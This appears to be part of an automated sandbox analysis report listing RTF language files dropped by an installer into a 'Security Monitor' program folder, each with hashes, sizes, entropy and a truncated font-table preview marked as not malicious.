Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-055CD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-2840L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-2JHGD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-755HF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-84SMN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-8DDEN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-CK6BI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-GBT98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-GT9M6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-IMVBV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-IPDVF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 